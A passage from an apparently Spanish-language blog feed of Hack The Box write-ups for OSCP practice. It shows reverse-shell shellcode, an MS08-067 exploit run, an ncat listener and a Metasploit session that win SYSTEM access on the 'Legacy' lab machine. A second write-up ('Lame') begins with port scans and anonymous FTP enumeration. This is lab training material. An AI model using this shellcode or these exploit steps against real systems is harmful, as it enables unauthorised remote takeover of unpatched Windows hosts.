</span></span><span style="display:flex;"><span>&#34;\xf2\x4c\x68\x7f\xff\x27\x3c\x6b\x74\x45\xe9\x9c\x3d\xe0\xcf&#34;
</span></span><span style="display:flex;"><span>&#34;\x93\xbe\x59\x33\xb2\x3c\xa0\x60\x14\x7c\x6b\x75\x55\xb9\x96&#34;
</span></span><span style="display:flex;"><span>&#34;\x74\x07\x12\xdc\x2b\xb7\x17\xa8\xf7\x3c\x6b\x3c\x70\xa1\x3c&#34;
</span></span><span style="display:flex;"><span>&#34;\x3f\x51\x74\x36\x66\x71\x77\x9b\x12\x38\x6f\xf8\x1f\xf2\x04&#34;
</span></span><span style="display:flex;"><span>&#34;\xca\xd4\x05\xcc\x02\x14\xa9\x31\xab\xe7\xb3\x76\x0c\x18\xc6&#34;
</span></span><span style="display:flex;"><span>&#34;\x8e\x6e\xa5\xd1\x55\x0c\x71\x57\x4d\xb6\xf2\xcf\xa9\x46\xd6&#34;
</span></span><span style="display:flex;"><span>&#34;\x96\x3a\x44\x93\xdd\x64\x49\x22\x31\x1f\x75\xaf\xb4\xcf\xff&#34;
</span></span><span style="display:flex;"><span>&#34;\xeb\x92\xcb\xa4\xa8\xbb\x4a\x01\x1e\xc3\x8c\xea\xff\x61\xc7&#34;
</span></span><span style="display:flex;"><span>&#34;\x07\xeb\x1b\x8a\x4f\xd8\x11\x34\x90\x76\x21\x47\xa2\xd9\x99&#34;
</span></span><span style="display:flex;"><span>&#34;\xcf\x8e\x92\x07\x08\xf0\x88\xf0\x86\x0f\x33\x01\x8f\xcb\x67&#34;
</span></span><span style="display:flex;"><span>&#34;\x51\xa7\xfa\x07\x3a\x37\x02\xd2\xed\x67\xac\x8d\x4d\xd7\x0c&#34;
</span></span><span style="display:flex;"><span>&#34;\x7e\x26\x3d\x83\xa1\x56\x3e\x49\xca\xfd\xc5\x1a\xff\x0b\xcb&#34;
</span></span><span style="display:flex;"><span>&#34;\xc0\x97\x09\xd3\xff\xde\x87\x35\x95\x30\xce\xee\x02\xa8\x4b&#34;
</span></span><span style="display:flex;"><span>&#34;\x64\xb2\x35\x46\x01\xf4\xbe\x65\xf6\xbb\x36\x03\xe4\x2c\xb7&#34;
</span></span><span style="display:flex;"><span>&#34;\x5e\x56\xfa\xc8\x74\xfe\x60\x5a\x13\xfe\xef\x47\x8c\xa9\xb8&#34;
</span></span><span style="display:flex;"><span>&#34;\xb6\xc5\x3f\x55\xe0\x7f\x5d\xa4\x74\x47\xe5\x73\x45\x46\xe4&#34;
</span></span><span style="display:flex;"><span>&#34;\xf6\xf1\x6c\xf6\xce\xfa\x28\xa2\x9e\xac\xe6\x1c\x59\x07\x49&#34;
</span></span><span style="display:flex;"><span>&#34;\xf6\x33\xf4\x03\x9e\xc2\x36\x94\xd8\xca\x12\x62\x04\x7a\xcb&#34;
</span></span><span style="display:flex;"><span>&#34;\x33\x3b\xb3\x9b\xb3\x44\xa9\x3b\x3b\x9f\x69\x5b\xde\x35\x84&#34;
</span></span><span style="display:flex;"><span>&#34;\xf4\x47\xdc\x25\x99\x77\x0b\x69\xa4\xfb\xb9\x12\x53\xe3\xc8&#34;
</span></span><span style="display:flex;"><span>&#34;\x17\x1f\xa3\x21\x6a\x30\x46\x45\xd9\x31\x43\x45\xdd\xcd\x6c&#34;;
</span></span></code></pre></div><ul>
<li><code>-p windows/shell_reverse_tcp</code> Seleccionamos como payload, que vamos a realizar una reverse shell tcp inline de windows</li>
<li><code>LHOST=10.10.14.26 LPORT=3001 EXITFUNC=thread</code> Como opciones del payload, definimos el host, el puerto y muy importante, el método de salida para no bloquear accesos posteriores</li>
<li><code>-b &quot;\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40&quot;</code> En esta parte definimos los badchars o los caracteres que no podemos transmitir sobre la red sin romper la comunicación</li>
<li><code>-nopsled 7</code> le agregfamos 7 NOP al inicio</li>
<li><code>-f c</code> El formato de salida es tipo lenguaje C</li>
<li><code>-e x86/jmp_call_additive</code> Seleccionamos el tipo de encoding jmp call additive para hacerlo mas acertado a la estructura ROP que se genera en el exploit</li>
<li><code>-a x86</code> La arquitectura destino es x86</li>
<li><code>--platform windows</code> La plataforma donde funcionara es windows.</li>
</ul>
<p>Usar una reverse shell es menos ruidosa que subir todo meterpreter y levantar alarmas.</p>
<p>Sustituimos la salida en el script de python, levantamos un ncat y lanzamos el script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/ms08_067$ python2 ms08_067_2018.py 10.10.10.4 7 445
</span></span><span style="display:flex;"><span>#######################################################################
</span></span><span style="display:flex;"><span>#   MS08-067 Exploit
</span></span><span style="display:flex;"><span>#   This is a modified verion of Debasis Mohanty&#39;s code (https://www.exploit-db.com/exploits/7132/).
</span></span><span style="display:flex;"><span>#   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span>#   Mod in 2018 by Andy Acer:
</span></span><span style="display:flex;"><span>#   - Added support for selecting a target port at the command line.
</span></span><span style="display:flex;"><span>#     It seemed that only 445 was previously supported.
</span></span><span style="display:flex;"><span>#   - Changed library calls to correctly establish a NetBIOS session for SMB transport
</span></span><span style="display:flex;"><span>#   - Changed shellcode handling to allow for variable length shellcode. Just cut and paste
</span></span><span style="display:flex;"><span>#     into this source file.
</span></span><span style="display:flex;"><span>#######################################################################
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Windows XP SP3 English (AlwaysOn NX)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[-]Initiating connection
</span></span><span style="display:flex;"><span>[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
</span></span><span style="display:flex;"><span>Exploit finish
</span></span></code></pre></div><p>En la remota:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ ncat -vnlp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.80 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.4.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.4:1029.
</span></span><span style="display:flex;"><span>Microsoft Windows XP [Version 5.1.2600]
</span></span><span style="display:flex;"><span>(C) Copyright 1985-2001 Microsoft Corp.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:\WINDOWS\system32&gt;
</span></span><span style="display:flex;"><span>C:\WINDOWS\system32&gt;systeminfo
</span></span><span style="display:flex;"><span>systeminfo
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host Name:                 LEGACY
</span></span><span style="display:flex;"><span>OS Name:                   Microsoft Windows XP Professional
</span></span><span style="display:flex;"><span>OS Version:                5.1.2600 Service Pack 3 Build 2600
</span></span><span style="display:flex;"><span>OS Manufacturer:           Microsoft Corporation
</span></span><span style="display:flex;"><span>OS Configuration:          Standalone Workstation
</span></span><span style="display:flex;"><span>OS Build Type:             Uniprocessor Free
</span></span><span style="display:flex;"><span>Registered Owner:          user
</span></span><span style="display:flex;"><span>Registered Organization:   HTB
</span></span><span style="display:flex;"><span>Product ID:                55274-643-7213323-23904
</span></span><span style="display:flex;"><span>Original Install Date:     16/3/2017, 7:32:23
</span></span><span style="display:flex;"><span>System Up Time:            0 Days, 0 Hours, 19 Minutes, 35 Seconds
</span></span><span style="display:flex;"><span>System Manufacturer:       VMware, Inc.
</span></span><span style="display:flex;"><span>System Model:              VMware Virtual Platform
</span></span><span style="display:flex;"><span>System type:               X86-based PC
</span></span><span style="display:flex;"><span>Processor(s):              1 Processor(s) Installed.
</span></span><span style="display:flex;"><span>                           [01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~1998 Mhz
</span></span><span style="display:flex;"><span>BIOS Version:              INTEL  - 6040000
</span></span><span style="display:flex;"><span>Windows Directory:         C:\WINDOWS
</span></span><span style="display:flex;"><span>System Directory:          C:\WINDOWS\system32
</span></span><span style="display:flex;"><span>Boot Device:               \Device\HarddiskVolume1
</span></span><span style="display:flex;"><span>System Locale:             en-us;English (United States)
</span></span><span style="display:flex;"><span>Input Locale:              en-us;English (United States)
</span></span><span style="display:flex;"><span>Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk
</span></span><span style="display:flex;"><span>Total Physical Memory:     511 MB
</span></span><span style="display:flex;"><span>Available Physical Memory: 395 MB
</span></span><span style="display:flex;"><span>Virtual Memory: Max Size:  2.048 MB
</span></span><span style="display:flex;"><span>Virtual Memory: Available: 2.009 MB
</span></span><span style="display:flex;"><span>Virtual Memory: In Use:    39 MB
</span></span><span style="display:flex;"><span>Page File Location(s):     C:\pagefile.sys
</span></span><span style="display:flex;"><span>Domain:                    HTB
</span></span><span style="display:flex;"><span>Logon Server:              N/A
</span></span><span style="display:flex;"><span>Hotfix(s):                 1 Hotfix(s) Installed.
</span></span><span style="display:flex;"><span>                           [01]: Q147222
</span></span><span style="display:flex;"><span>NetWork Card(s):           1 NIC(s) Installed.
</span></span><span style="display:flex;"><span>                           [01]: AMD PCNET Family PCI Ethernet Adapter
</span></span><span style="display:flex;"><span>                                 Connection Name: Local Area Connection
</span></span><span style="display:flex;"><span>                                 DHCP Enabled:    No
</span></span><span style="display:flex;"><span>                                 IP address(es)
</span></span><span style="display:flex;"><span>                                 [01]: 10.10.10.4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:\WINDOWS\system32&gt;
</span></span></code></pre></div><h2 id="metasploit">Metasploit</h2>
<p>Iniciamos metasploit y seleccionamos <strong>exploit(/windows/smb/ms08_067_netapi</strong>. Inicializamos las variables con sus valores correspondientes y ejecutamos &ldquo;exploit&rdquo;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>msf5 &gt; search ms08-067
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Matching Modules
</span></span><span style="display:flex;"><span>================
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   #  Name                                 Disclosure Date  Rank   Check  Description
</span></span><span style="display:flex;"><span>   -  ----                                 ---------------  ----   -----  -----------
</span></span><span style="display:flex;"><span>   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf5 exploit(windows/smb/ms08_067_netapi) &gt; use exploit/windows/smb/ms08_067_netapi
</span></span><span style="display:flex;"><span>msf5 exploit(windows/smb/ms08_067_netapi) &gt; show options
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Module options (exploit/windows/smb/ms08_067_netapi):
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Name     Current Setting  Required  Description
</span></span><span style="display:flex;"><span>   ----     ---------------  --------  -----------
</span></span><span style="display:flex;"><span>   RHOSTS   10.10.10.4       yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&lt;path&gt;&#39;
</span></span><span style="display:flex;"><span>   RPORT    445              yes       The SMB service port (TCP)
</span></span><span style="display:flex;"><span>   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Payload options (windows/meterpreter/reverse_tcp):
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Name      Current Setting  Required  Description
</span></span><span style="display:flex;"><span>   ----      ---------------  --------  -----------
</span></span><span style="display:flex;"><span>   EXITFUNC  thread           yes       Exit technique (Accepted: &#39;&#39;, seh, thread, process, none)
</span></span><span style="display:flex;"><span>   LHOST     10.10.14.23      yes       The listen address (an interface may be specified)
</span></span><span style="display:flex;"><span>   LPORT     3002             yes       The listen port
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Exploit target:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Id  Name
</span></span><span style="display:flex;"><span>   --  ----
</span></span><span style="display:flex;"><span>   0   Automatic Targeting
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf5 exploit(windows/smb/ms08_067_netapi) &gt;
</span></span><span style="display:flex;"><span>msf5 exploit(windows/smb/ms08_067_netapi) &gt; exploit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] Started reverse TCP handler on 10.10.14.23:3002
</span></span><span style="display:flex;"><span>[*] 10.10.10.4:445 - Automatically detecting the target...
</span></span><span style="display:flex;"><span>[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
</span></span><span style="display:flex;"><span>[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
</span></span><span style="display:flex;"><span>[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
</span></span><span style="display:flex;"><span>[*] Sending stage (180291 bytes) to 10.10.10.4
</span></span><span style="display:flex;"><span>[*] Meterpreter session 2 opened (10.10.14.23:3002 -&gt; 10.10.10.4:1030) at 2019-10-06 01:45:42 -0500
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>meterpreter &gt;
</span></span></code></pre></div><p>Así de rápido y sencillo, tenemos un meterpreter ejecutándose del lado remoto hacia nuestra maquina.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>meterpreter &gt; sysinfo
</span></span><span style="display:flex;"><span>Computer        : LEGACY
</span></span><span style="display:flex;"><span>OS              : Windows XP (5.1 Build 2600, Service Pack 3).
</span></span><span style="display:flex;"><span>Architecture    : x86
</span></span><span style="display:flex;"><span>System Language : en_US
</span></span><span style="display:flex;"><span>Domain          : HTB
</span></span><span style="display:flex;"><span>Logged On Users : 1
</span></span><span style="display:flex;"><span>Meterpreter     : x86/windows
</span></span><span style="display:flex;"><span>meterpreter &gt; getuid
</span></span><span style="display:flex;"><span>Server username: NT AUTHORITY\SYSTEM
</span></span></code></pre></div><p><em>getuid</em> nos entrega lo que ya sabíamos de este exploit, al abusar de la vulnerabilidad alcanzamos el usuario mas privilegiado en la maquina. A partir de aquí, leer los archivos de user.txt y root.txt es muy sencillo.</p>
<h1 id="usertxt">user.txt</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>meterpreter &gt; type C:\Documents and Settings\john\Desktop\user.txt
</span></span></code></pre></div><h1 id="roottxt">root.txt</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>meterpreter &gt; type C:\Documents and Settings\Administrator\Desktop\root.txt
</span></span></code></pre></div><p>&hellip; And we got root and user flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB writeup: Lame</title><link>https://www.xbyte.mx/posts/htb_writeup_-_lame/</link><pubDate>Tue, 05 Nov 2019 07:53:51 -0600</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_lame/</guid><description>&lt;p&gt;Remember, Remember the 5 of november. Bueno comencé a realizar las maquinas retiradas de hackthebox para prepararme para el OSCP. Recién adquirí mi suscripción, esta fue la primera maquina en caer. Un resumen rápido es enumerar y enumerar. Cuando un camino se cierra, otro se abre.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Remember, Remember the 5 of november. Bueno comencé a realizar las maquinas retiradas de hackthebox para prepararme para el OSCP. Recién adquirí mi suscripción, esta fue la primera maquina en caer. Un resumen rápido es enumerar y enumerar. Cuando un camino se cierra, otro se abre.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/fb2d9f98400e3c802a0d7145e125c4ff_thumb.png" alt="lame image"> <a href="https://www.hackthebox.eu/home/machines/profile/1">lame</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/1">ch4p</a></td>
          <td>Linux</td>
          <td>10.10.10.3</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-lame/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -n --open -v -p- 10.10.10.3
</span></span><span style="display:flex;"><span>Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-05 08:05 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 08:05
</span></span><span style="display:flex;"><span>Scanning 10.10.10.3 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 08:05, 0.12s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 08:05
</span></span><span style="display:flex;"><span>Scanning 10.10.10.3 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Discovered open port 21/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Discovered open port 3632/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 08:09, 233.00s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.3
</span></span><span style="display:flex;"><span>Host is up (0.087s latency).
</span></span><span style="display:flex;"><span>Not shown: 65530 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE
</span></span><span style="display:flex;"><span>21/tcp   open  ftp
</span></span><span style="display:flex;"><span>22/tcp   open  ssh
</span></span><span style="display:flex;"><span>139/tcp  open  netbios-ssn
</span></span><span style="display:flex;"><span>445/tcp  open  microsoft-ds
</span></span><span style="display:flex;"><span>3632/tcp open  distccd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 233.25 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 131240 (5.775MB) | Rcvd: 176 (7.728KB)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Como en otras ocasiones, verificamos los puertos abiertos con <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-10-06 00:30:56 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Discovered open port 3632/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Discovered open port 21/tcp on 10.10.10.3
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<p>Como podemos ver los puertos son los mismos, por lo que iniciamos por identificar los servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-sC -sV):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sV -sC -p139,445,3632,21 -v -n 10.10.10.3
</span></span><span style="display:flex;"><span>Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-05 19:36 CDT
</span></span><span style="display:flex;"><span>NSE: Loaded 151 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 19:36
</span></span><span style="display:flex;"><span>Completed NSE at 19:36, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 19:36
</span></span><span style="display:flex;"><span>Completed NSE at 19:36, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 19:36
</span></span><span style="display:flex;"><span>Completed NSE at 19:36, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 19:36
</span></span><span style="display:flex;"><span>Scanning 10.10.10.3 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 19:36, 0.43s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 19:36
</span></span><span style="display:flex;"><span>Scanning 10.10.10.3 [4 ports]
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Discovered open port 21/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Discovered open port 3632/tcp on 10.10.10.3
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 19:36, 0.18s elapsed (4 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 19:36
</span></span><span style="display:flex;"><span>Scanning 4 services on 10.10.10.3
</span></span><span style="display:flex;"><span>Completed Service scan at 19:36, 11.94s elapsed (4 services on 1 host)
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.3.
</span></span><span style="display:flex;"><span>Initiating NSE at 19:36
</span></span><span style="display:flex;"><span>NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
</span></span><span style="display:flex;"><span>Completed NSE at 19:37, 40.06s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 19:37
</span></span><span style="display:flex;"><span>Completed NSE at 19:37, 0.80s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 19:37
</span></span><span style="display:flex;"><span>Completed NSE at 19:37, 0.00s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.3
</span></span><span style="display:flex;"><span>Host is up (0.28s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE     VERSION
</span></span><span style="display:flex;"><span>21/tcp   open  ftp         vsftpd 2.3.4
</span></span><span style="display:flex;"><span>|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
</span></span><span style="display:flex;"><span>| ftp-syst:
</span></span><span style="display:flex;"><span>|   STAT:
</span></span><span style="display:flex;"><span>| FTP server status:
</span></span><span style="display:flex;"><span>|      Connected to 10.10.14.23
</span></span><span style="display:flex;"><span>|      Logged in as ftp
</span></span><span style="display:flex;"><span>|      TYPE: ASCII
</span></span><span style="display:flex;"><span>|      No session bandwidth limit
</span></span><span style="display:flex;"><span>|      Session timeout in seconds is 300
</span></span><span style="display:flex;"><span>|      Control connection is plain text
</span></span><span style="display:flex;"><span>|      Data connections will be plain text
</span></span><span style="display:flex;"><span>|      vsFTPd 2.3.4 - secure, fast, stable
</span></span><span style="display:flex;"><span>|_End of status
</span></span><span style="display:flex;"><span>139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
</span></span><span style="display:flex;"><span>445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
</span></span><span style="display:flex;"><span>3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
</span></span><span style="display:flex;"><span>Service Info: OS: Unix
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span>|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
</span></span><span style="display:flex;"><span>|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
</span></span><span style="display:flex;"><span>|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
</span></span><span style="display:flex;"><span>|_smb2-time: Protocol negotiation failed (SMB2)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 19:37
</span></span><span style="display:flex;"><span>Completed NSE at 19:37, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 19:37
</span></span><span style="display:flex;"><span>Completed NSE at 19:37, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 19:37
</span></span><span style="display:flex;"><span>Completed NSE at 19:37, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 54.09 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 8 (328B) | Rcvd: 5 (204B)
</span></span></code></pre></div><ul>
<li><code>-sC</code> para que ejecute los scripts safe-discovery de nse</li>
<li><code>-sV</code> para que me traiga el banner del puerto</li>
<li><code>-p139,445,3632,21</code> para unicamente los puertos descubiertos previamente</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
</ul>
<p>Con esta información concluimos que tenemos varios servicios abiertos, que tenemos una maquina Linux como target, con servicios de compartición de archivos tales como FTP y SMB. Verifiquemos que tanto podemos obtener del servicio de FTP.</p>
<h1 id="ftp-service">FTP Service</h1>
<p>Como en otras maquinas, en lugar de entrar y verificar carpeta por carpeta, creare un espejo de lo entregado por el servicio:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/lame$ wget --mirror ftp://10.10.10.3
</span></span><span style="display:flex;"><span>--2019-10-05 19:39:09--  ftp://10.10.10.3/
</span></span><span style="display:flex;"><span>           =&gt; “10.10.10.3/.listing”
</span></span><span style="display:flex;"><span>Conectando con 10.10.10.3:21... conectado.
</span></span><span style="display:flex;"><span>Identificándose como anonymous ... ¡Dentro!
</span></span><span style="display:flex;"><span>==&gt; SYST ... hecho.   ==&gt; PWD ... hecho.
</span></span><span style="display:flex;"><span>==&gt; TYPE I ... hecho.  ==&gt; no se necesita CWD.
</span></span><span style="display:flex;"><span>==&gt; PASV ... hecho.   ==&gt; LIST ... hecho.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.3/.listing                                 [ &lt;=&gt;                                                                                                  ]     119  --.-KB/s    en 0.001s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-10-05 19:39:11 (180 KB/s) - “10.10.10.3/.listing” guardado [119]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-10-05 19:39:11--  ftp://10.10.10.3/
</span></span><span style="display:flex;"><span>           =&gt; “10.10.10.3/index.html”
</span></span><span style="display:flex;"><span>==&gt; no se requiere CWD.
</span></span><span style="display:flex;"><span>==&gt; SIZE  ... hecho.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>==&gt; PASV ... hecho.   ==&gt; RETR  ...
</span></span><span style="display:flex;"><span>No existe tal fichero “”.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ACABADO --2019-10-05 19:39:12--
</span></span><span style="display:flex;"><span>Tiempo total de reloj: 3.0s
</span></span><span style="display:flex;"><span>Descargados: 1 ficheros, 119 en 0.001s (180 KB/s)
</span></span></code></pre></div><p>Al no encontrar nada relevante, me conecte usando un cliente de FTP y verifique:</p>
